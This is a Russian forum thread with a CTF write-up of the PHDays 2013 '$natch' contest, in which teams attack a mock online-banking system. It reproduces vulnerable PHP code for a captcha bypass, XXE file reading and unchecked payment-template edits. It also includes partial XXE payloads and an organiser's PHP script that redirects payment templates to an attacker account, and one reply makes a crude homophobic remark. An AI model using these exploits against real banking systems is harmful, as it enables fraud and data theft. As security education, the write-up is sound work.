HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.05.2013, 01:07
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

По итогам нашумевшего конкурса "$natch".

Конкурс уже прошёл, решил что пора бы напечатать свой write-up на тему "Как украсть деньги из IBank".

Надо признать, организаторы постарались на славу, предоставив пентестерам сразу 3 (!!!) вида различных уязвимостей для компрометации системы ДБО.

И тут было где разгуляться. Тем более банк обещал быть в размере 20к рублей, а сумма победителя ещё и удваивается спонсором!

Итак.

День первый.

12:00


Мы получили на руки исходники системы IBank и уже готовую виртуальную систему с этой ДБО на борту.

Но времени изучать исходники толком не было, вокруг была куча интереснейших докладов, поэтому изучение было передвинуто на вечер.

19:00

Наконец-то нашли время сесть и поковырять исходники. Практически сразу обнаружилось пару интересных вещей.

В то время как для входа в аккаунт требовалось передать 3 параметра: логин, пароль и капчу; дополнительно была найдена возможность авторизоваться через мобильный интерфейс, где запрашивало только логин и пароль.

AuthController.php

Код:
if ($request->isPost()) {
            $login    = $request->getPost('login');
            $password = $request->getPost('password');
            $captcha  = $request->getPost('captcha');

            $return['login'] = $login;
            
            /**
             * Disable captcha on mobile interface
             */
            
            if (!$mobile) {
                if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                    $return['captchaError'] = true;
                    return $return;
                }
            }
            
            $result = $this->auth->authenticate($login, $password);
Для того чтобы ДБО пускало нас внуть через мобильный интерфейс - должна быть установлена Cookie "mobileInterface=true".

IndexController.php

Код:
public function switchInterfaceAction()
    {
        $request = $this->serviceManager->get('request');

        if ($request->getCookie('mobileInterface')) {
            setcookie('mobileInterface', '', null, '/');
        } else {
            setcookie('mobileInterface', 'true', null, '/');
        }
Всё это давало нам отличный шанс побрутить аккаунты на слабые пароли. Брутер написался очень быстро.

В качестве ответа-индикатора гудов и бэдов использовали код сервера "302 Found".

22:00

Зарядившись алкоголем (какой кодинг без него? Оо), мы с приятелями-конкурентами разделились на 2 части: кто-то дописывал и оптимизировал код, кто-то искал уязвимости дальше.

Второй вид уязвимости не заставил себя долго ждать.

XXE в функции импорта контактов.

ContactsController.php

Код:
public function indexAction()
    {
        return array(
            'user'     => $this->user,
            'contacts' => $this->userService->fetchUserContacts($this->user)
        );
    }

    public function exportAction()
    {
        $this->application->setOption('disableLayout', true)
                          ->setOption('disableView', true);

        $response = $this->serviceManager->get('response');
        $response->setHeader('Content-type', 'text/xml')
                 ->setHeader('Content-Disposition', 'attachment; filename="contacts.xml"')
                 ->appendBody($this->userService->exportUserContacts($this->user));
    }
    
    public function importAction()
    {
        if (isset($_FILES['contacts'])) {
            $this->userService->importUserContacts($this->user, $_FILES['contacts']['tmp_name']);
        }
        
        $this->redirect('/contacts');
    }
    
    public function addAction()
    {   
        if ($this->request->isPost()){
            $name        = $this->request->getPost('name');
            $account     = $this->request->getPost('account');
            $description = $this->request->getPost('description');
            if (!empty($name) && !empty($account)) {
                $this->userService->addUserContact($this->user, $name, $account, $description);
                $this->redirect('/contacts');
            }
        }
    }
    
    public function editAction()
    {
        $id = $this->request->getParam('id');
        $contact = $this->userService->fetchContactById($id);
        
        if (!$contact)
            throw new ContactNotFoundException();
        
        if ($contact->user_id != $this->user->id)
            throw new ForbiddenException();
        
        if ($this->request->isPost()) {
            $contact->name        = $this->request->getPost('name');
            $contact->account     = $this->request->getPost('account');
            $contact->description = $this->request->getPost('description');
            
            if ($this->userService->updateContact($contact)) {
                $this->redirect('/contacts');
            }
        }
        
        return array(
            'contact' => $contact
        );
Злоумышленник может внедрить свою XML сущность для чтения произвольного файла в системе. Что мы с радостью и сделали.

В качестве инжектируемого парамера изначально было выбрана переменная name. Но её длина не позволяла читать файлы длинного содержания. Тогда была найдена переменная description, которая не была видна при отображении, но была видна при редактировании списка конактов.

Буквально на коленке был написал эксплойт.

Код:
]>
name90107430600712500001&x;
Для первоначального эксплойта требовался абсолютный пусть до файлов в ОС. Эта проблема легко решалась разработчиками ДБО.

Bootstrap.php

Код:
if ($this->request->getCookie('debug')) {
    $this->setOption('displayExceptions', true);
}
Как видно, достаточно добавить кукис debug, равную,например, 1 - и мы получаем вывод ошибок, самые примитивные из которых вываливаются при запросе несуществующей страницы.

Была идея читать файл через wrapper php://filter/read=convert.base64-encode/resource, но она провалилась. Толи мы где-то косякнули с кодом, толи php отказывался отдавать файл через wrapper.

(Позже организаторы подтвердили первую догадку, так как итоговый эксплойт выглядел донельзя просто).

Код:
]>
name90107430600712500003&x;
День второй

02:00


Начали разбираться что это за типы аккаунтов такие "tan" и "mtan". В течение ночи эти переменные стали нарицательными, особенно для кодеров.

Пришли к выводу, что перед нами 3 типа аккаунтов:

1) tan. Транзакции отправляются посредством введения кода из БД таблицы tan. (По факту это имитация одноразовых кодов, выдаваемых банком на карточке).

2) mtan. (version 1). Транзакции проходят без введения вообще каких либо кодов подтверждения. Практически одним кликом.

3) mtan. (version 2). Транзакции проходят посредством ввода кода, оптравленного через SMS держателю счёта, при этом отправленнные коды кладутся в logs/messages.log.

Как вы уже поняли, 2 и 3 тип аккаунтов легко эксплуатаировался либо простым проведением транзакции, либо проведением транзакции и последующим чтением через XXE отправленных кодов подтверждения на SMS.

5:00

Предыдущие 2 эксплойта были дописаны. Работали кривова-то. Код был мягко говоря не айс. Но он был!

Перекопали исходники, не удалось понять в чем уязвимость шаблонов (раз они там были, значит видимо не просто так).

А всё было очень просто!

TransactionController.php

Код:
public function editTemplateAction()
    {   
        $template = $this->tService->fetchTemplateById($this->request->getParam('id'));
        
        if (!$template)
            throw new Exception\TransactionTemplateNotFoundException();
        
        if ($this->request->isPost()) {
            $template->name         = $this->request->getPost('name');
            $template->account_from = $this->request->getPost('from');
            $template->account_to   = $this->request->getPost('to');
            $template->sum          = $this->request->getPost('sum');
            
            if ($this->tService->updateTemplate($template)) {
                $this->redirect('/transactions/templates');
            }
        }
        
        return array(
            'template' => $template
        );
    }
TransactionService.php

Код:
public function fetchTemplateById($id)
    {
        $sth = $this->db->query("SELECT * FROM transaction_templates WHERE id = ? ", $id);
        if (!$sth->rowCount())
            return false;
        
        $template = new TransactionTemplate();
        $template->populate($sth->fetch());
        
        return $template;
    }

    public function addUserTemplate(User $user, $name, $from, $to, $sum)
    {
        $this->db->query("INSERT INTO transaction_templates VALUES(null,?,?,?,?,?)",
                         $user->id, $name, $from, $to, $sum);

        return $this;
    }
    
    public function updateTemplate(TransactionTemplate $template)
    {
        $this->db->query("UPDATE transaction_templates SET name = ?, account_from = ?, account_to = ?, sum = ? WHERE id = ?",
                         $template->name, $template->account_from,
                         $template->account_to, $template->sum, $template->id);
                
        return true;
    }
Из исходников видно, что у нас не проверяется ID человека, который редактирует шаблоны оплаты. Таким образом через специальный запрос в системе ДБО http://DBO/transactions/editTemplate/id/1 можно было редактировать любые шаблоны, подменяя адрес назначения платежа на свой.

Эксплойт мы так и не написали. Организаторы сказали, что вообще никто эту уязвимость не эксплуатировал. И привели свой правильный эксплойт.

Код:
 $login,
                'password' => $password,
            )
    );

    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/login',
        CURLOPT_POST           => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_POSTFIELDS     => $postdata,
    ));

    return curl_exec($ch);
}

function logout($ch, $domain)
{
    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/logout',
        CURLOPT_FOLLOWLOCATION => 0,
        CURLOPT_POST           => 0,
    ));

    return curl_exec($ch);
}

@unlink($cookie_file);
file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);

$ch = curl_init();

curl_setopt_array($ch, array(
    CURLOPT_HEADER         => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_COOKIEJAR      => $cookie_file,
    CURLOPT_COOKIEFILE     => $cookie_file,
));

login($ch, $login, $password, $domain);

$i = 0;
while (++$i) {
    if ($i > 100) {
        $i = 0;
        continue;
    }
    
    curl_setopt_array($ch, array(
        CURLOPT_URL  => $domain . '/transactions/editTemplate/id/' . $i,
        CURLOPT_POST => 0,
    ));

    $result = curl_exec($ch);

    if (strpos($result, '404. Page not found'))
        continue;

    preg_match_all("~~mU", $result, $matches);

    $post_data = array();
    foreach ($matches[1] as $key => $name) {
        $value            = $matches[2][$key];
        $post_data[$name] = $value;
    }
    
    if ($post_data['to'] !== $account) {
        $post_data['to'] = $account;

        curl_setopt_array($ch, array(
            CURLOPT_POST       => 1,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
        ));

        $result = curl_exec($ch);
        
        echo "From {$post_data['from']} sum {$post_data['sum']}\n";
    }
}

curl_close($ch);
8:00

Все дружно упали спать. Ром сделал своё дело. Хотя поспать толком не удалось.

11:00

Чёртов будильник! Голова плохо варила. Благо дома оказалась холодная Coca-cola и раковина в ванной )

Умывшись и перекусив, мы отправились покорять PHDays. Наш главный кодер всё ещё дописывал/переписывал код. Неугомонный человек.

12:15

Началось. Прямо перед началом конкурса мы договорились о стратегии и обменялись эксплойтами.

Нам были розданы конверты участников и локальные кабели.

Казалось бы - всё прекрасно, но вот с первых минут всё пошло не так (.

Сначала я начал тупить и не смог авторизоваться под собой в системе ДБО.

Оказывается, в качестве аутентифкационных данных использовался логин и пасс нанесённый на карточку. Ок, понятно.

Потом вдруг отказался работать эксплойт для итоговой ДБО. Косяк был в глобализации переменной ip.

Когда он был исправлен, остальные участники уже пробрутили и вывели часть денег.

Поэтому было решено дождаться, пока они решат сменить свои пароли. Не зря же организаторы предусмотрели чтение файла /logs/changePassword.log ?)

Когда "вдруг" было объявлено, что всем пользователям принудительно сменили пароли, в ход пошёл другой наш эксплойт.

И вот тут нас ждал облом. Из-за специсимволов в изменённых паролях наш фейковый XML файл не позволял читать файл смены паролей.

А ведь всего-лишь надо было использовать wrapper php://filter/read=convert.base64-encode/resource. Мы лишь беспомощно развели руками и искали ошибку в наших скриптах, при этом недоумевая, почему дома эксплойт работал, а тут нет.

12:45

Прозвенел гонг. Конкурс подошёл к концу. На счету 0.

Но большого разочарования нет, уязвимости были найдены, код написан. Чуток не хватило сообразительности. Так бывает =)



Полный размер

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Хочется сказать большое спасибо организаторам за предоставленный шанс попробовать себя в этом конкурсе.

Было очень интересно копать баги и писать под них эксплойты. ИМХО это вообще самый интересный конкурс на PHDays 2013.

Отдельное спасибо человеку написавшему ДБО в одиночку - респект и уважуха !!!

Ну и спасибо всем моим товарищам, что были рядом и помогали во всём: Rebz, Trinux, FIXER aka shell_c0de, VY_CMa, alkos, konqi.

BigBear, Antichat, 2013
 
Ответить с цитированием

  #2  
Старый 29.05.2013, 17:39
Rebz
Флудер
Регистрация: 08.11.2004
Сообщений: 3,395
С нами: 11317286

Репутация: 3876


По умолчанию

От себя добавлю, что были сделаны определенные выводы:

1) начинать искать баги и автоматизировать эксплуатацию надо фактически сразу, не оставлять на вечер, работы много

2) иметь на ноуте виртуальную машину и локальный веб-сервер с curl

3) тестить

4) ещё раз тестить под разными конфигурациями

5) писать на питоне, хотя в этом конкурсе организаторы показали php-шные сплоиты
 
Ответить с цитированием

  #3  
Старый 29.05.2013, 18:02
MaxFast
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
С нами: 7676246

Репутация: 94


По умолчанию

Хорошую работу проделал.
 
Ответить с цитированием

  #4  
Старый 29.05.2013, 18:06
VY_CMa
Постоянный
Регистрация: 06.01.2012
Сообщений: 913
С нами: 7552406

Репутация: 724


По умолчанию

Я кепку и футболку урвал (=

Цитата:
Сообщение от None  
писать на питоне, хотя в этом конкурсе организаторы показали php-шные сплоиты
По большому счёту язык в этом году никакой роли не играл, хотя если брэйнфак был бы, то может времени ушло бы больше, а так задача была в основном в понимании сути ошибок, а реализовать можно было хоть на чём.

ЗЫ Я халк!
 
Ответить с цитированием

  #5  
Старый 30.05.2013, 13:34
YaBtr
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами: 7343606

Репутация: 652


По умолчанию

Молодцы!

Жаль,конечно,что весь куш продинамил
 
Ответить с цитированием

  #6  
Старый 31.05.2013, 01:20
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
С нами: 9497186

Репутация: 1304


По умолчанию

Цитата:
Сообщение от Rebz  
писать на питоне, хотя в этом конкурсе организаторы показали php-шные сплоиты
Хехе

Цитата:
Сообщение от VY_CMa  
По большому счёту язык в этом году никакой роли не играл
Это как сказать. Код сплоита опубликуете? Хотелось бы оценить реализацию.
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
 
Ответить с цитированием

  #7  
Старый 31.05.2013, 05:33
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Цитата:
Сообщение от Gifts  
Хехе
Это как сказать. Код сплоита опубликуете? Хотелось бы оценить реализацию.
У меня нету. Автор скрипта - Trinux
 
Ответить с цитированием

  #8  
Старый 01.06.2013, 02:08
KreshMaynz
Новичок
Регистрация: 01.03.2011
Сообщений: 0
С нами: 8000246

Репутация: 0
По умолчанию

REBZ а не ты такой там был белобрысый? Ещё мелкий толстый бегал рыживатого цвета там ко всем приставал, вот думаю не гомосек ли он ?

Я так посмотрел немного прихуел от вида кодеров там! Извини если грубо написал.
 
Ответить с цитированием

  #9  
Старый 01.06.2013, 07:55
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Цитата:
Сообщение от KreshMaynz  
REBZ а не ты такой там был белобрысый? Ещё мелкий толстый бегал рыживатого цвета там ко всем приставал, вот думаю не гомосек ли он
?
Я так посмотрел немного прихуел от вида кодеров там! Извини если грубо написал.
Там была куча белобрысых. И куча "приставал". Конференция всё таки же.

Ребза можешь глянуть на онлайн конференции. Ссылка есть на сайте phdays.ru

Меня, VY_CMa тоже можно там увидеть, на одном из докладов. Палю "превад" =)
 
Ответить с цитированием

  #10  
Старый 01.06.2013, 10:19
Грабитель
Участник форума
Регистрация: 05.03.2013
Сообщений: 194
С нами: 6941846

Репутация: -7
По умолчанию

Цитата:
Сообщение от BigBear  
Меня, VY_CMa тоже можно там увидеть, на одном из докладов. Палю "превад" =)
Cсылочку можно? так просто не найти на их сайте.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.